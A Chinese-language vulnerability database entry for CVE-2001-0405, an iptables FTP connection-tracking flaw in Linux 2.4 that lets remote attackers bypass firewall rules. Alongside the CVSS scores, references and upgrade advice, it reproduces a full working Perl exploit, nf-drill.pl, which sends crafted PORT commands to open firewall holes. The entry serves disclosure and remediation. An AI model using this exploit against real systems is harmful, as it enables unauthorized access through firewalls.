CVE-2001-0405
CVSS7.5
发布时间 :2001-07-02 00:00:00
修订时间 :2008-09-05 16:24:01
NMCOE    

[原文]ip_conntrack_ftp in the IPTables firewall for Linux 2.4 allows remote attackers to bypass access restrictions for an FTP server via a PORT command that lists an arbitrary IP address and port number, which is added to the RELATED table and allowed by the firewall.


[CNNVD]Linux防火墙漏洞(CNNVD-200107-041)

        Linux 2.4版本的IPTables防火墙中的ip_conntrack_ftp存在漏洞。远程攻击者可以为FTP服务器借助列举任意IP地址和端口号码的PORT命令绕过访问限制。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.4.1Linux Kernel 2.4.1
cpe:/o:linux:linux_kernel:2.4.0:test1Linux Kernel 2.4.0 test1
cpe:/o:linux:linux_kernel:2.4.0Linux Kernel 2.4.0
cpe:/o:linux:linux_kernel:2.4.2Linux Kernel 2.4.2
cpe:/o:linux:linux_kernel:2.4.3Linux Kernel 2.4.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0405
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0405
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200107-041
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2602
(VENDOR_ADVISORY)  BID  2602
http://archives.neohapsis.com/archives/bugtraq/2001-04/0271.html
(VENDOR_ADVISORY)  BUGTRAQ  20010416 Tempest Security Techonologies -- Adivsory #01/2001 -- Linux IPTables
http://www.redhat.com/support/errata/RHSA-2001-052.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2001:052
http://xforce.iss.net/static/6390.php
(UNKNOWN)  XF  linux-netfilter-iptables(6390)
http://www.redhat.com/support/errata/RHSA-2001-084.html
(UNKNOWN)  REDHAT  RHSA-2001:084
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-071.php3
(UNKNOWN)  MANDRAKE  MDKSA-2001:071

- 漏洞信息

Linux防火墙漏洞
高危 未知
2001-07-02 00:00:00 2005-08-17 00:00:00
远程  
        Linux 2.4版本的IPTables防火墙中的ip_conntrack_ftp存在漏洞。远程攻击者可以为FTP服务器借助列举任意IP地址和端口号码的PORT命令绕过访问限制。

- 公告与补丁

        

- 漏洞信息 (20765)

Linux kernel 2.4 IPTables FTP Stateful Inspection Arbitrary Filter Rule Insertion (EDBID:20765)
linux remote
2001-04-16 Verified
0 Cristiano Lincoln Mattos
N/A [点击下载]
source: http://www.securityfocus.com/bid/2602/info

The Linux kernel includes a built-in firewall implementation called IPTables. IPTables supports stateful inspection of several application protocols, one of which is FTP. The inspection is used to facilitate outgoing PORT connections for FTP data transfers when clients or servers are behind firewalls.

When a FTP PORT command containing an IP address which differs from the client's is processed by the stateful-inspection module, the occurrance is caught. Despite being detected, the condition is handled erroneously causing an entry for the PORT connection to be inserted into the table of 'RELATED' connections. This temporarily permits traffic through the firewall from the FTP server to the destination included in the PORT command.

An attacker may be able to use this vulnerability to access unauthorized hosts from the FTP server.

It should be noted that clients do not need to authenticate to exploit this vulnerability. 

#!/usr/bin/perl
#
# nf-drill.pl --- "Drill" holes open in Linux iptables connection table
# Author: Cristiano Lincoln Mattos <lincoln@cesar.org.br>, 2001
# 
# Advisory: http://www.tempest.com.br/advisories/linux-iptables
# 
#      Tempest Security Technologies - a business unit of:
#    CESAR - Centro de Estudos e Sistemas Avancados do Recife
#
# This code is licensed under the GPL.
#

use Socket;
use Getopt::Long;
use strict;

# Option variables
my $server;
my $serverport = 21;
my $host;
my $port;
my $verbose = 0;

# Print function
sub out {
	my ($level,$text) = @_;
	if (!$level || ($level && $verbose)) { print "$text"; }
}

my $opt = GetOptions("server=s" => \$server,
		     "serverport=s" => \$serverport,
		     "host=s" => \$host,
		     "port=i" => \$port,
		     "verbose" => \$verbose);

if ($server eq "" || $host eq "" || $port eq "" || $port < 0 || $port > 65535) {
	print "Usage: $0 --server <ftp> [--serverport <port>] --host <target> --port <port> [--verbose]\n";
	print "   - server: specifies the FTP server (IP or hostname) to connect to\n";
	print "   - serverport: specifies the port of the FTP server -- default: 21\n";
	print "   - host: the IP of the target to open in the connection table\n";
	print "   - port: the port of the target to open in the connection table\n";
	print "   - verbose: sets verbose mode\n";
	exit(0);
}

print "\n nf-blast.pl -- Cristiano Lincoln Mattos <lincoln\@cesar.org.br>, 2001\n";
print " Tempest Security Technologies\n\n";

# For the meanwhile, expecting an IP
my @ip = split(/\./,$host);
my $str = "PORT " . $ip[0] . "," . $ip[1] . "," . $ip[2] . "," . $ip[3] . "," . ($port >> 8) . "," . ($port % 256) . "\r\n";

# Socket init
my $ipn = inet_aton($server);
if (!$ipn) {
	out(0," Error: could not convert $server\n");
	exit(0);
}

my $sin = sockaddr_in($serverport,$ipn);
socket(Sock,PF_INET,SOCK_STREAM,6);

if (!connect(Sock,$sin)) {
	out(0," Error: could not connect to $server:$serverport.\n");
	exit(0);
}
out(0," - Connected to $server:$serverport\n");

my $buf;
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");

# First send a dummy one, just to establish the connection in the iptables logic
send(Sock,$str,0);
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");

# Now, send the one that will insert itself into the connection table
send(Sock,$str,0);
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");

out(0," * $server should now be able to connect to $host on port $port ! (for the next 10 seconds)\n");
out(0," - Closing connection to $server:$serverport.\n\n");
close(Sock);




		

- 漏洞信息

1790
IPTables FTP Stateful Inspection Arbitrary Filter Rule Insertion
Remote / Network Access Authentication Management, Input Manipulation, Misconfiguration
Loss of Confidentiality
Exploit Public Third-party Verified

- 漏洞描述

The FTP connection tracking module in the Linux kernel's netfilter (iptables) contains a flaw that may allow a malicious user to bypass firewall rules for FTP server access. The issue is triggered when the module fails to correctly validate a PORT command. It is possible that the flaw may allow entries to be inserted into the firewall's RELATED table, resulting in bypass of the intended access controls, and thereby a loss of confidentiality.

- 时间线

2001-04-19 Unknow
2001-04-19 Unknow

- 解决方案

Upgrade to version 2.4.4 of the kernel or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround(s): disable FTP RELATED connections in your firewall ruleset, or apply the vendor-supplied patch.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站